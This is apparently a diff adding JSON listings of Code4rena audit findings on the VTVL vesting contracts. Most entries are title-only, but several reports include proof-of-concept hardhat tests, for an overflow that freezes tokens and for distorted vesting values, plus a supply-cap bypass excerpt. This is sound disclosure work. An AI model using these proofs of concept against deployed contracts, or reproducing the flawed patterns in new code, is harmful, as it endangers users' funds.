"https://github.com/code-423n4/2022-09-vtvl-findings/issues/173", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Tracking of vestingRecipients array does not remove recipient when revoking claim", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/171", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "Tracking of vestingRecipients array does not remove recipient when revoking claim"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/170", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/168", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/167", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Admins can create a situation where there are no admins by stripping them of their authority.", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/165", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "Admins can create a situation where there are no admins by stripping them of their authority."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/161", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/160", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/158", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/152", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/151", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/150", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/147", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/146", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/143", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/142", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/141", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "not able to create claim", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/140", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "flag for judge", "sponsor acknowledged"], "target": "2022-09-vtvl-findings", "body": "not able to create claim"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/136", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/134", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/133", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/132", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/131", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/130", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "possible DoS on vestingRecipients due to lack of disposal mechanism", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/128", "labels": ["bug", "enhancement", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-09-vtvl-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-vtvl/blob/f68b7f3e61dad0d873b5b5a1e8126b839afeab5f/contracts/VTVLVesting.sol#L224 https://github.com/code-423n4/2022-09-vtvl/blob/f68b7f3e61dad0d873b5b5a1e8126b839afeab5f/contracts/VTVLVesting.sol#L245 https://github.com/code-423n4/2022-09-vtvl/blob/f68b7f3e61dad0d873b5b5a1e8126b839afeab5f/contracts/VTVLVesting.sol#L302 https://github.com/code-423n4/2022-09-vtvl/blob/f68b7f3e61dad0d873b5b5a1e8126b839afeab5f/contracts/VTVLVesting.sol#L317 # Vulnerability details ## Impact - L224/245/302/317 - When the smart contracts start to be used, the variable in storage vestingRecipients will start to be filled with addresses, as there is no mechanism to eliminate elements, this will cause the allVestingRecipients() function to generate a DoS yes has many addressess. ## Recommended Mitigation Steps In the withdraw() function you could remove the element from vestingRecipients that no longer has vesting. This would make the variable not grow without reducing elements. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/127", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/126", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/120", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/119", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/118", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/117", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/116", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/115", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/114", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/112", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}] \ No newline at end of file diff --git a/results/codearena_findings_28.json b/results/codearena_findings_28.json new file mode 100644 index 0000000..fa0f93c --- /dev/null +++ b/results/codearena_findings_28.json @@ -0,0 +1 @@ +[{"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/111", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "admin can cancel themselves, which may result in no admin", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/110", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "admin can cancel themselves, which may result in no admin"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/107", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "_baseVestedAmount() and vestedAmount() Return Incorrect Historical Values", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/104", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-09-vtvl-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-vtvl/blob/f68b7f3e61dad0d873b5b5a1e8126b839afeab5f/contracts/VTVLVesting.sol#L183-L187 https://github.com/code-423n4/2022-09-vtvl/blob/f68b7f3e61dad0d873b5b5a1e8126b839afeab5f/contracts/VTVLVesting.sol#L198 # Vulnerability details ## Description As the comments in `_baseVestedAmount()` explain, once there is any `_claim.amountWithdrawn`, it will be returned if it is greater than the calculated value `vestAmt`. However, `vestAmt` takes account of time, `_referenceTs`, whereas `_claim.amountWithdrawn` is always the amount withdrawn to date. Therefore, for all historical values below `_claim.amountWithdrawn`, including timestamps before `_claim.startTimestamp` and before `_claim.cliffReleaseTimestamp`, `_claim.amountWithdrawn` will be returned. ## Impact Given that VTVL is intended to be an accessible platform for use by a wide variety of users, this behaviour does create a security risk. Consider these scenarios: - A protocol relies on VTVL as an off-the-shelf solution for vesting, but builds other systems (escrow, NFT grants, access, airdrops) that work by checking the value of `vestedAmount()`. Airdrops are especially likely to be interested in historical values. These values would be distorted by how much users have claimed and so would result in an undesirable distribution of resources. - Even if the above does not occur, consider that VTVL might be passed over as a vesting solution precisely because its historical data is inaccurate. - A contract could be built that inherits from `VTVLVesting` and attempts to use `_baseVestedAmount()` (which is `internal` and so can be used by inheriting contracts). The inheriting contract might apportion rewards based on historical usage. - VTVL itself might wish to inherit from `VTVLVesting` in future. ## Proof of Concept ```diff diff --git a/test/VTVLVesting.ts b/test/VTVLVestingPOC.ts index bb609fb..073e53f 100644 --- a/test/VTVLVesting.ts +++ b/test/VTVLVestingPOC.ts @@ -500,14 +500,37 @@ describe('Revoke Claim', async () => { const recipientAddress = await randomAddress(); const [owner, owner2] = await ethers.getSigners(); - it('allows admin to revoke a valid claim', async () => { + it('POC: WITHDRAWN DATA IS UNRELIABLE', async () => { const {vestingContract} = await createPrefundedVestingContract({tokenName, tokenSymbol, initialSupplyTokens}); - await vestingContract.createClaim(recipientAddress, startTimestamp, endTimestamp, cliffReleaseTimestamp, releaseIntervalSecs, linearVestAmount, cliffAmount); + const startTimestamp2 = startTimestamp.add(releaseIntervalSecs.mul(100)); + const endTimestamp2 = endTimestamp.add(releaseIntervalSecs.mul(100)); + const cliffReleaseTimestamp2 = cliffReleaseTimestamp.add(releaseIntervalSecs.mul(100)); + await vestingContract.createClaim(owner2.address, startTimestamp2, endTimestamp2, cliffReleaseTimestamp2, releaseIntervalSecs, linearVestAmount, cliffAmount); + + // Fast forward to middle of claim + const halfWay = startTimestamp2.toNumber() + (endTimestamp2.toNumber()-startTimestamp2.toNumber())/2; + await ethers.provider.send(\"evm_mine\", [halfWay]); + + let vestAmt = await vestingContract.vestedAmount(owner2.address, startTimestamp); + console.log(\"NO WITHDRAWAL, BEFORE VEST START: \",vestAmt.toString()); + vestAmt = await vestingContract.vestedAmount(owner2.address, startTimestamp2); + console.log(\"NO WITHDRAWAL, AT VEST START: \",vestAmt.toString()); + vestAmt = await vestingContract.vestedAmount(owner2.address, halfWay); + console.log(\"NO WITHDRAWAL, HALF WAY THROUGH VEST: \",vestAmt.toString()); + vestAmt = await vestingContract.vestedAmount(owner2.address, endTimestamp2); + console.log(\"NO WITHDRAWAL, AT VEST END: \",vestAmt.toString()); + + await (await vestingContract.connect(owner2).withdraw()).wait(); - (await vestingContract.revokeClaim(recipientAddress)).wait(); + vestAmt = await vestingContract.vestedAmount(owner2.address, startTimestamp); + console.log(\"WITHDRAWAL, BEFORE VEST START: \",vestAmt.toString()); + vestAmt = await vestingContract.vestedAmount(owner2.address, startTimestamp2); + console.log(\"WITHDRAWAL, AT VEST START: \",vestAmt.toString()); + vestAmt = await vestingContract.vestedAmount(owner2.address, halfWay); + console.log(\"WITHDRAWAL, HALF WAY THROUGH VEST: \",vestAmt.toString()); + vestAmt = await vestingContract.vestedAmount(owner2.address, endTimestamp2); + console.log(\"WITHDRAWAL, AT VEST END: \",vestAmt.toString()); - // Make sure it gets reverted - expect(await (await vestingContract.getClaim(recipientAddress)).isActive).to.be.equal(false); }); it('prohibits a random user from revoking a valid claim', async () => { ``` ## Tools Used Manual Inspection ## Recommended Mitigation Steps For active claims, there is no reason to consider `_claim.amountWithdrawn`, as it will always have been below or equal to `vestAmt` at any point in time. So only consider `vestAmt` for inactive claims. For them, return the lowest of `vestAmt` and `_claim.amountWithdrawn`. This will keep the values monotonic with time without distorting the historical values. It will act as though `_claim.amountWithdrawn` was withdrawn and the claim was revoked in the block when `vestAmt` reached `_claim.amountWithdrawn`. That is a distortion, but it is required to provide monotonicity. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/102", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/101", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/100", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "AccessProtected.setAdmin might lead to accidental loss of administrative control", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/99", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "AccessProtected.setAdmin might lead to accidental loss of administrative control"}, {"title": "`VTVLVesting.sol` doesn't take in consideration the amount of decimals of the token used", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/97", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "`VTVLVesting.sol` doesn't take in consideration the amount of decimals of the token used"}, {"title": "Permanent freeze of vested tokens due to overflow in _baseVestedAmount", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/95", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-09-vtvl-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-vtvl/blob/f68b7f3e61dad0d873b5b5a1e8126b839afeab5f/contracts/VTVLVesting.sol#L176 # Vulnerability details ## Description The _baseVestedAmount() function calculates vested amount for some (claim, timestamp) pair. It is wrapped by several functions, like vestedAmount, which is used in withdraw() to calculate how much a user can retrieve from their claim. Therefore, it is critical that this function will calculate correctly for users to receive their funds. Below is the calculation of the linear vest amount: ``` uint112 linearVestAmount = _claim.linearVestAmount * truncatedCurrentVestingDurationSecs / finalVestingDurationSecs; ``` Importantly, _claim.linearVestAmount is of type uint112 and truncatedCurrentVestingDurationSecs is of type uint40. Using compiler >= 0.8.0, the product cannot exceed uint112 or else the function reverts due to overflow. In fact, we can show that uint112 is an inadequate size for this calculation. The max value for uint112 is 5192296858534827628530496329220096. Seconds in year = 3600 * 24 * 365 = 31536000 Tokens that inherit from ERC20 like the ones used in VTVL have 18 decimal places -> 1000000000000000000 This means the maximum number of tokens that are safe to vest for one year is 2**112 / 10e18 / (3600 * 24 * 365) = just 16,464,665 tokens. This is definitely not a very large amount and it is expected that some projects will mint a similar or larger amount for vesting for founders / early employees. For 4 year vesting, the safe amount drops to 4,116,166. Projects that are not forewarned about this size limit are likely to suffer from freeze of funds of employees, which will require very patchy manual revocation and restructuring of the vesting to not overflow. ## Impact Employees/founders do not have access to their vested tokens. ## Proof of Concept Below is a test that demonstrates the overflow issue, 1 year after 17,000,000 tokens have matured. ``` describe('Long vest fail', async () => { let vestingContract: VestingContractType; // Default params // linearly Vest 10000, every 1s, between TS 1000 and 2000 // additionally, cliff vests another 5000, at TS = 900 const recipientAddress = await randomAddress(); const startTimestamp = BigNumber.from(1000); const endTimestamp = BigNumber.from(1000 + 3600 * 24 * 365); const midTimestamp = BigNumber.from(1000 + (3600 * 24 * 365) / 2); const cliffReleaseTimestamp = BigNumber.from(0); const linearVestAmount = BigNumber.from('170000000000000000000000000'); const cliffAmount = BigNumber.from(0); const releaseIntervalSecs = BigNumber.from(5); before(async () => { const {vestingContract: _vc} = await createPrefundedVestingContract({tokenName, tokenSymbol, initialSupplyTokens}); vestingContract = _vc; await vestingContract.createClaim(recipientAddress, startTimestamp, endTimestamp, cliffReleaseTimestamp, releaseIntervalSecs, linearVestAmount, cliffAmount); }); it('half term works', async() => { expect(await vestingContract.vestedAmount(recipientAddress, midTimestamp)).to.be.equal('85000000000000000000000000'); }); it('full term fails', async() => { // Note: at exactly the cliff time, linear vested amount won't yet come in play as we're only at second 0 await expect(vestingContract.vestedAmount(recipientAddress, endTimestamp)).to.be.revertedWithPanic(0x11 ); }); }); ``` ## Tools Used Manual audit, hardhat / chai. ## Recommended Mitigation Steps Perform the intermediate calculation of linearVestAmount using the uint256 type. ``` uint112 linearVestAmount = uint112( uint256(_claim.linearVestAmount) * truncatedCurrentVestingDurationSecs / finalVestingDurationSecs); ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/93", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "User can accidentally revoke all admin privileges", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/92", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "User can accidentally revoke all admin privileges"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/87", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/86", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/82", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/81", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/80", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/79", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/76", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/75", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/74", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/73", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/72", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/71", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/69", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/68", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "The withdrawETH function should be added", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/65", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "The withdrawETH function should be added"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/63", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/62", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "`AccessProtected:setAdmin` can accidentally set every admin to false", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/58", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-vtvl-findings", "body": "`AccessProtected:setAdmin` can accidentally set every admin to false"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/57", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/56", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/50", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/49", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/48", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/46", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/44", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/43", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/42", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/37", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/34", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/33", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/32", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/31", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/27", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/26", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "`owner` is never checked in `AccessProtected` ", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/25", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "`owner` is never checked in `AccessProtected` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/20", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/19", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/17", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/16", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/15", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/11", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/9", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/8", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Reentrancy may allow an admin to steal funds", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/6", "labels": ["bug", "enhancement", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-09-vtvl-findings", "body": "Reentrancy may allow an admin to steal funds"}, {"title": "Supply cap of VariableSupplyERC20Token is not properly enforced", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/3", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-09-vtvl-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-vtvl/blob/main/contracts/token/VariableSupplyERC20Token.sol#L36-L46 # Vulnerability details ## Impact The admin of the token is not constrained to minting `maxSupply_`, they can mint any number of tokens. ## Proof of Concept ```js // If we're using maxSupply, we need to make sure we respect it // mintableSupply = 0 means mint at will if(mintableSupply > 0) { require(amount <= mintableSupply, \"INVALID_AMOUNT\"); // We need to reduce the amount only if we're using the limit, if not just leave it be mintableSupply -= amount; } ``` The logic is as follows: if the amount that can be minted is zero, treat this as an infinite mint. Else require that the minted amount is not larger than mintable supply. One can note that it is possible to mint all mintable supply. Then the mintable supply will be `0` which will be interpreted as infinity and any number of tokens will be possible to 